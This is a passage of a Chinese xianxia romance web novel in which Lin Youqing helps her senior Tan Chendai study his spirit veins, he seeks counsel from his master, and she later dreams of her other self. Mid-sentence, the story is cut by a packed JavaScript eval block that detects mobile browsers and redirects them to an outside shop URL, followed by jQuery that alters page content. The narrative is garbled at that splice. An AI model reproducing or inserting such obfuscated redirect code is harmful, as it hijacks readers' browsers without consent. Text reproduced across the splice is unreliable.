二人都不由自主地想到了掉进洞穴后发生的事情，本还交合的视线错开。


    林游青脸颊染上一抹绯红，檀沉黛耳尖也通红。


    气氛别扭极了。


    有什么好害羞的？林游青咬唇，不就是无论在灵府中，还是在现实中，都和檀沉黛牵了手吗？


    她睨了一眼檀沉黛，破釜沉舟般地，也伸手握住了檀沉黛的手。


    冰冰凉凉，和他给人的第一印象一样。


    有来有回，这下扯平了。


    那古怪的氛围就这样散开，林游青如释重负：“师兄，找我何事？”


    檀沉黛似在愣神，听到林游青的话稍显讶异，但很快又神色如常。


    背在背后的手指不自觉揉搓，檀沉黛避开与林游青的对视，“我需要你帮我一个忙。”


    林游青疑惑檀沉黛能找她什么忙：“师兄先告诉我，我再决定帮不帮。”


    檀沉黛唇线紧抿，像尊雕塑待了好半天，他附在林游青耳边悄声说出请求。


    林游青恍然大悟。


    檀沉黛的忙的确很简单，但又有点冒犯。


    林游青找了个单独的自修室，关上门，隐身的檀沉黛现形。


    “师兄开始吧。”林游青面对檀沉黛盘腿而坐，很是大方地握住檀沉黛的双手，驱散了他心中的那点别扭。


    檀沉黛闭眼，开始运作灵气。


    林游青感到身体里钻进了一团冷冰冰的东西。


    她驱动着自己的神念离开灵府，在自己的灵脉处看见了白白的光团。


    褐色光团兴奋地蹦蹦跳跳，凑到白色光团的面前，一闪一闪地，“檀师兄，是我。”


    檀沉黛的外圈光晕稍微亮了点，算作回应。


    “开始吧。”他说着，趁林游青忙着催动功法稍稍远离几步。


    褐色光团时大时小，灵脉处的也涌现出如萤火虫般的光辉，而后愈聚愈大，变得明亮而璀璨。


    檀沉黛观察着灵脉的变化以及灵气的走势，越看越觉得压抑。


    的确和他的走势不同。


    白色光团变得黯淡了。


    林游青想不明白檀沉黛因何情绪不好，小心翼翼地靠近，努力让自己光团发出更大的光芒，映照在白色光团之中，像是交融在一块。


    檀沉黛扭头看着身旁的光团，褐色的光芒像大地，能包容一切的温和感，吸引着他。


    昨晚在灵府中，见到的一瞬间，他就情不自禁想靠近。


    白色光团的光芒亮了起来，生出小触手，缓缓靠近林游青。


    但在即将触碰到时，他又想起触碰之后诡异的羞怯的感觉，又收了回去。


    “我想1，我可以离开了。”檀沉黛说。


    林游青却蹦跳着拦住檀沉黛：“师兄，师兄，你还没有看过我的灵府，礼尚往来。”


    檀沉黛刚想拒绝，林游青已经用灵气运着他二人进入了灵府。


    望不到边际的苍茫草色，空气中飘荡着浅浅的褐色与青绿色的萤光，荡漾出浅浅光晕，顺着某种轨迹盘旋上升，最后落在不远处的一棵参天大树上。


    浮动的绿影后，似乎有谁在偷偷窥伺。


    檀沉黛只当自己多想，此处是林游青的灵府，有谁能藏在此处不被她察觉的？


    她的灵府是一汪活动的泉水，能感受到灵气的起伏波动，不似他的灵府，死寂，毫无波澜。


    “你的灵府很好，广阔且有具象扎根，若是精于修炼一定能有所成就。”


    出来后，檀沉黛直白地夸赞道，夸得林游青不好意思地挠挠头。


    她问：“那我有帮到师兄吗？”


    檀沉黛没回答，望向禁闭的窗户，日光透过窗纸射入内，尘埃在光线中浮动。


    即使跪坐着，他的身姿也挺拔。


    不知为何，有明亮的日光映照，但林游青还是觉得檀沉黛身上笼罩着似有若无的阴郁雾气。


    “其实我还有一个问题。”檀沉黛犹豫地开口，眼珠被光线照出瞳孔的纹理，如同清透的翡翠玉石。


    林游青示意他请讲。


    “若是你发现身边的人对你别有用心，可他们对你恩重如山，该如何做？”


    这话太危险了。


    林游青不自在地看向四周，生怕隔墙有耳。


    她不敢回答，若是听了她的话，檀沉黛做出些什么事，牵扯到她就完蛋。


    于是，林游青寻思了半天，只能说些无用的空话：“我觉得，此事吧，还是看师兄怎么想，具体情况只有师兄清楚，师兄随心而为就好。”


    闻言，檀沉黛定定看了她好一会儿，忽的扯出一个笑容，“我明白了。”


    他没多说什么，可林游青觉得他什么都说了。


    面颊发热发烫。


    “既如此，我先走了。”檀沉黛起身。


    林游青连开口道别都做不到。


    「林游青，就算你和我闹掰，我也要说。」


    「你听你爹妈的话，退了学，难不成真还要继续听他们的话，去嫁人吗？」


    「别说什么你逃不了，想逃有的是法子，也别说你活不下去，饿不死你的。」


    「你才十八岁，还有什么是不可能的。」


    「我不要我读大学的时候，跑去找我妈要份子钱给你随礼，你记清楚，我不要这样！」


    林游青猛地站起来。


    檀沉黛推门的手一顿，低头，是林游青抓住了他的衣袖。


    “师兄，对不起。”林游青认真道，“我可能给不了你什么有用的建议。”


    “但是师兄，我想说的是，你不是受害者。”


    做不了假的，此时的檀沉黛和当初的她没有什么两样。


    他眉眼间的落寞，无力，无助，她想为他扫清。


    她现在不是他的朋友吗？


    “受害者？”檀沉黛不解，“那我是什么？”


    “是捍卫者，师兄，你有保护自己的能力，你也必须保护好自己。”


    “所以师兄，不必愧疚。”


    林游青松开手，“我说完了，师兄。”


    青年转身，林游青再次瞥见他那抹伤痕，往下，后颈也隐隐透出泛红的迹象。


    希望下次见面，他没有受伤。


    *


    檀沉黛心事重重地回到堪虚殿，求见掌门。


    “弟子今日修习有困惑，恳请师尊解答。”檀沉黛跪在珠帘后。


    「你看见了吗？你的灵府处有封印，我将它松动了，你的灵府便活了过来。」


    “弟子修习时，忽感灵府处松动，疑惑于灵府之外又是何物，且弟子灵府骤生诸多波纹，灵气四逸，不知是何现象。”


    此话一出，空气仿佛凝滞。


    不知过了多久，才听见珠帘之后传来男人的声音：“看来你的心境的确生出诸多问题，竟让灵府也裂开。”


    「我敢打赌，他一定会说什么，这是因为你心境不稳才导致灵府生裂。」


    「至于之后，他肯定会说助你修复，实则是暗自加固封印，之后你的心魔会再次出现。」


    檀沉黛心跳如鼓，既害怕又期待地等着师尊的回复。


    珠帘被挑开，那位教导他十二年之久的师尊终于又露出了当年拜师时才有的慈祥笑容。


    檀沉黛被扶起，他凝视着眼前的尊者，期望能看出不一样的东西。


    “沉黛，是为师疏忽了，这是为师的错，但不必害怕，为师会帮你修复好灵府。”


    他苍老而温热的手掌拍拍青年的手背，像是为了让无措的青年感到安心。


    没有看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323930|199115||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    出其他，檀沉黛垂下眼睫，“是。”


    这一刻，他想去相信自己的师尊。


    若是自己的师尊都不能相信，他还能相信谁？


    「蠢后生，我知道你不信，可是你也修了这么多年的仙，我话中的道理你细细深思能有何不懂？」


    起码不该信一个外人的挑拨。


    *


    檀沉黛将近十天未出现，堪虚殿那边也没有风声传出，众弟子只当檀沉黛又继续独自在殿中修炼。


    这么多天未见，林游青惦记着檀沉黛，但没敢给他发消息，只是偶尔会盯着手中的传讯令出神。


    感受到振动，她便惊喜地点开一瞧，发现不是赵凌便是客户的消息后，眉眼失望地耷拉下来。


    因檀沉黛未出现，他的画的需求量直线上升。


    林游青每天不是忙着修炼，就是画他。


    她已经能画出一点儿檀沉黛的眼睛，虽还是觉得没有神韵，但起码有了形。


    结束晚修的林游青疲倦地伸了个懒腰，打算回去后画一个时辰便休息。


    但回到寝舍，林游青第一件事不是摆好画架。


    她将书袋随意扔在床上，走到墙角的木柜旁，她点燃白蜡烛，烛光在画像上跳跃，将女子的笑颜割裂成阴阳两边。


    林游青摆好祭品，这次她买了梅干和肉脯。


    她看着另一个自己的脸，双手合十，继续在心中祈祷。


    烛光也在她的脸上摇曳，分割出阴阳的界限。


    画中女子笑意盈盈，温和地注视着林游青。


    当晚，林游青梦见了她。


    她没有再坐在那棵大树上，而是立在树下，垂眸盯着脚边的草色。


    “你未来之前，本没有这些花。”


    她抬头看向不远处的林游青，褐色和青色的萤光模糊了她的五官，但依稀能瞧见她嘴角的笑。


    眨眼间，她又出现在林游青的面前，双手环胸，下巴微扬，侧高马尾随灵气的波动而微微飘逸在空中。


    林游青呆愣愣，下一刻，女子俯身，手捏着林游青的脸颊，稍用力地揉搓，眼睛笑得弯如月牙。


    “原来我还能长这样？看着柔柔弱弱的，好欺负得不得了。”


    林游青不甘被她这样说，小声抗议：“但我没有像你一样被哥哥欺负吸血。”


    女子眼神落寞了一瞬，语气极轻：“哥哥，之前不是这样的——但我也不像你，这么不爱惜自己的性命。”


    “就算在修仙，少眠也容易死掉，别总是熬通夜画画。”


    “还有与其给我买这些吃的，不如你自己多买些灵气充裕的灵植灵蔬进补。”


    “对了，也别随便进入谁的灵府，或是让谁进入你的灵府，明白吗？灵府很重要，你已经死了一次。”


    她像个姐姐一样，认真叮嘱。


    林游青注视着她的眼睛，鼻端发酸，她死了一次，可她何尝不是也死了一次。


    “那你呢？你会离开吗？你还能活着吗？我又能为你做些什么？”


    女子只是拍拍她的脑袋，笑笑，没说什么，身影逐渐消散。


    “放心，我的事还没有办完，不会轻易离开的，劳你多担待。”


    林游青下意识想要抓住她，可手一伸，传来一阵剧痛，她睁开眼。


    只见幽暗的烛光中，手指被蛇死死咬住。


    蛇？


    蛇！


    林游青坐起身，怀中跳进了她的蛙蛙。


    “呱呱。”


    菜花蛇松了嘴，咬着她的袖子努力往外拖，青蛙也跳到门口，呱呱乱叫。


    像是要她跟着它们走。


    林游青当即想到檀沉黛，“是不是檀师兄有事？”


    菜花蛇猛拍尾巴，小眼睛可怜巴巴，“嘶——”